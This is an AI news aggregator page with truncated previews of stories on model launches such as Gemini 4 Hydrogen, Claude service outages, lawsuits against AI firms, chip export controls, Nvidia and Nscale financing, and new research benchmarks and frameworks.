AIPULSEN - AI News
agents deepseek
Forensic analysis shows six AI models released since April by DeepSeek, Moonshot, MiniMax and Ant Group contain traces of export‑controlled Blackwell GPUs.
A forensic study released today reveals that six high‑profile open‑weight language models – three from DeepSeek, two from Moonshot AI, one from MiniMax and one from Ant Group – bear the hardware “fingerprints” of Nvidia’s export‑controlled Blackwell GPUs. The analysis, conducted by Will DePue at Unemployment Labs, examined model binaries and training artefacts and found trace signatures that match the architecture and firmware of the Blackwell chip family, which is subject to strict U.S. export
gemini google
Google Search is rolling out Gemini 4 Hydrogen worldwide, promising more helpful, visual, and intuitive responses.
Google has rolled out Gemini 4 Hydrogen to Search worldwide, touting a marked boost in the model’s ability to parse and answer complicated queries. According to the company, the “fast, cost‑efficient” engine can now handle questions with multiple parts, decipher hard‑to‑understand typos and respond to highly specific requests, breaking the input down and addressing each element in turn. The upgrade replaces the short‑lived Gemini 4 Carbon, which earlier this week was limited to paid AI‑Mode subs
claude
Users are experiencing increased errors across Claude's AI services, including claude.ai, Claude Code, and platform.claude.com.
Anthropic confirmed on September 29 that its Claude suite – the web interface at claude.ai, the Claude Code development environment, and the broader platform at platform.claude.com – was hit by “elevated errors” that disrupted requests across the three services. The incident, logged as affecting three components, followed a pattern of instability that the company has been tracking since August.
The outage matters because Claude’s APIs and tooling have become core infrastructure for a growing nu
anthropic google
A new lawsuit aims to freeze frontier AI model development by major tech firms, putting AI giants such as Anthropic and Google under legal pressure.
A coalition of online‑safety and consumer‑advocacy groups has filed a lawsuit in San Francisco Superior Court seeking to halt the development of “frontier” artificial‑intelligence models by five of the world’s leading AI firms. The plaintiffs invoke California’s unfair‑competition statute, arguing that the companies’ practices pose threats to public health, safety and property and could lead to “catastrophic” harm. The filing, announced Thursday, asks the court to freeze any further work on adva
agents gemini google
Google unveiled Gemini 4 Hydrogen, a fast, cost‑efficient model aimed at reliable agentic workflows, alongside an Orchestrator to manage everyday tasks.
Google has made Gemini 4 Hydrogen generally available and introduced a new “Orchestrator” switch inside its Antigravity platform. The rollout pairs the fast, cost‑efficient Hydrogen model with Google’s strongest offering, Gemini 4 Carbon, allowing the system to flip between the two depending on a task’s demands. The Orchestrator dropdown is positioned as a way to balance quality, efficiency and latency for long‑horizon agentic workflows such as coding assistants and multi‑step automation.
Hydro
openai
A Danish man claims ChatGPT advice led him to stop paying rent, resulting in eviction, and is now suing OpenAI.
A 60‑year‑old Danish man has filed a lawsuit against OpenAI, alleging that the company’s ChatGPT chatbot gave him advice that directly led to his eviction and subsequent homelessness. According to the filing, the man followed ChatGPT’s recommendation to stop paying his rent and used text generated by the model to write letters to his landlord. The landlord, acting on those communications, terminated the tenancy, leaving the plaintiff without a home.
The case marks one of the first civil actions
copyright
AI firms are tightening policies to block users from employing large language models to bypass hardware manufacturers' restrictions, shielding large corporations from AI‑driven copyright circumvention.
AI firms are tightening the reins on a rapidly growing use‑case for large language models: reverse‑engineering software. Over the past few weeks, developers have been pairing Anthropic’s Claude and OpenAI’s Codex with an open‑source tool called REA (Reverse Engineer Anything) to decompile paid applications, inspect native binaries, Android APKs, .NET assemblies and even firmware from plain‑language prompts. The tool, first highlighted in October, lets AI agents “ask how something works” and gene
nvidia
Nvidia was pressured by asset managers to increase its 25% residual‑value support for a proposed $500 billion AI financing vehicle before Jensen Huang’s departure.
Nvidia has been pressed by a group of asset managers to raise the size of its “residual‑value support” backstop on a planned $500 billion AI‑compute financing vehicle. According to Bloomberg, the chipmaker originally offered to cover up to 25 % of the value risk on each deal – a share that is lower than the backstop Broadcom has pledged for similar financing. The pressure to boost that figure emerged in the weeks before the sudden ouster of longtime chief executive Jensen Huang, a development th
openai
OpenAI has launched the Daybreak Red Team and Defense Factory, two enterprise security initiatives to address vulnerabilities after debuting its GPT‑6 Cyber model.
OpenAI has rolled out two new enterprise‑focused security services – the Daybreak Red Team and the Defense Factory – as the latest step in safeguarding its recently launched GPT‑6 Cyber model. The offerings are positioned as proactive measures to identify and remediate vulnerabilities in AI deployments, giving corporate customers a dedicated “red‑team” that simulates attacks and a “defense factory” that builds and patches protective controls.
The move comes at a time when AI‑driven tools are be
claude gemini google
Google's Gemini 4 Hydrogen scores just below Claude Sonnet 5.5 and GPT‑6.1 Sol in the Artificial Analysis Intelligence Index, costing about one‑third of Sonnet and roughly 2.5 × Sol.
Google’s latest Gemini 4 Hydrogen model has slipped into the top tier of large‑language‑model performance, according to the Artificial Analysis Intelligence Index released on X. The index shows Gemini 4 Hydrogen “nearly ties” the leading Claude Sonnet 5.5 and GPT‑6.1 Sol on the benchmark’s composite score, while costing roughly one‑third of what Claude Sonnet 5.5 commands and about 2.5 times the price of GPT‑6.1 Sol.
The ranking is the first public comparison of Gemini 4 Hydrogen against the ne
benchmarks
A new benchmark, SO‑Arena, evaluates the capability range and decision reliability of fast, general‑purpose System One models beyond standard aggregate scores.
A team of researchers at the National University of Singapore has unveiled **SO‑Arena**, a new benchmark designed to probe the “System One” class of AI models that promise rapid, general‑purpose decisions without the lengthy token generation typical of larger “System Two” systems.
SO‑Arena moves beyond the usual accuracy‑only scores by measuring two orthogonal dimensions: the **capability spectrum**—what kinds of tasks a model can handle—and **decision reliability**—how consistently it arrive
A new research effort dubbed **G‑STAR** (Group‑Scaled Token Capacity) proposes a way to push discrete autoregressive models farther along the speed‑quality spectrum for image generation. The authors build on product‑quantization techniques to compress visual data into far shorter token streams without the severe loss of detail that typically accompanies aggressive spatial down‑sampling. By grouping tokens and scaling their capacity, G‑STAR claims to retain the expressive power of long sequences
anthropic claude
Anthropic abruptly discontinued a Claude Code feature that developers relied on, offering no prior warning.
Anthropic has removed a core feature of its Claude Code platform without warning, leaving developers who built tools and workflows on the functionality suddenly unable to continue. The change was announced only after users reported that the feature no longer existed, prompting complaints that the company acted “carelessly” and failed to give any advance notice.
The abrupt removal matters because Claude Code is positioned as a key part of Anthropic’s developer offering, enabling users to generat
Researchers unveil PhysLoop, a framework using LLMs' physics awareness to let video generation models self‑improve physical dynamics and causal consistency.
PhysLoop, a new research framework announced this week, taps into large language models’ (LLMs) built‑in physics intuition to help video‑generation systems teach themselves to obey the laws of motion and causality.
Current video generators can create strikingly realistic frames, yet they often produce physically implausible sequences—objects float, collisions lack proper response, and cause‑effect relationships break down. Training these models with fine‑grained physical supervision has been
Researchers introduce BirdDreams, a joint perspective and BEV video generation approach that creates plausible, reactive driving world models with accurate ego‑trajectory control.
A new research effort called **BirdDreams** proposes a joint perspective‑and‑bird’s‑eye‑view (BEV) video generation framework to build more plausible, reactive driving world models. The approach tackles a core difficulty in autonomous‑vehicle simulation: learning how surrounding traffic moves from ordinary forward‑facing video. In such footage, vehicle motion is tightly interwoven with visual appearance, making it hard for models to separate dynamics from texture. By simultaneously generating a
apple
AI-generated apps are flooding Apple’s review system, creating major delays and obstacles for synthesizer developers.
Apple’s App Store is being swamped by a wave of AI‑generated music‑creation tools, turning the company’s once‑swift review pipeline into a bottleneck for synth developers. Over the past few months an estimated 10‑20 new iOS music apps have appeared each day, many built by “vibe‑coded” generators that stitch together code and UI elements automatically. The surge has left human reviewers struggling to keep pace, with iOS approvals now taking days while macOS reviews remain comparatively quick.
Th
A framework for foundation models has been introduced to guide their development and application across AI tasks.
Apple has rolled out a new Swift‑based Foundation Models framework, giving third‑party developers direct access to the on‑device large language model that underpins Apple Intelligence. Unveiled at WWDC 2025, the API exposes a roughly 3 billion‑parameter model housed on iPhone and iPad hardware, as well as a private‑cloud compute variant for workloads that exceed on‑device limits. The framework bundles capabilities such as guided text generation, tool‑calling, image understanding and “Dynamic Pro
anthropic chips funding nvidia
Nscale, the Nvidia‑backed neocloud firm, says it needs extra financing to meet its 2027 obligations after ordering Nvidia chips for a $45 billion Anthropic deal, putting its planned $35 billion IPO in doubt.
London‑based AI cloud provider Nscale has told investors it will need additional financing to meet its 2027 obligations after ordering Nvidia chips to support a $45 billion contract with Anthropic. The disclosure, filed with the U.S. Securities and Exchange Commission, throws the company’s planned New York IPO – which was marketed at a $35 billion valuation – into doubt.
Nscale’s S‑1 filing shows a $103.4 billion backlog of contracts, the bulk of which hinges on the Anthropic deal. Yet the bulk
Ant Group has unveiled **Duo v1**, the first implementation of a “Reciprocal World Model” (RWM) that supports full‑duplex interaction. The system continuously ingests audiovisual streams while simultaneously generating real‑time responses, blurring the line between perception and action. The research paper – authored by Hengyuan Cao, Biao Gong and Guoshan Lu – frames the RWM as a world where intelligence and physical reality are co‑fundamental, a departure from conventional models that treat per
chips openai
OpenAI told lawmakers it will back a bipartisan congressional push to restrict China’s access to AI chips and chipmaking tools.
OpenAI has told U.S. lawmakers that it will back a bipartisan congressional push to block China’s access to advanced artificial‑intelligence chips and the equipment used to make them. According to Bloomberg, the AI developer confirmed its support this week after months of internal deliberation over a “package of export‑related bills” that aim to tighten export controls on high‑performance semiconductors.
The move adds a heavyweight voice to a growing legislative effort to limit China’s ability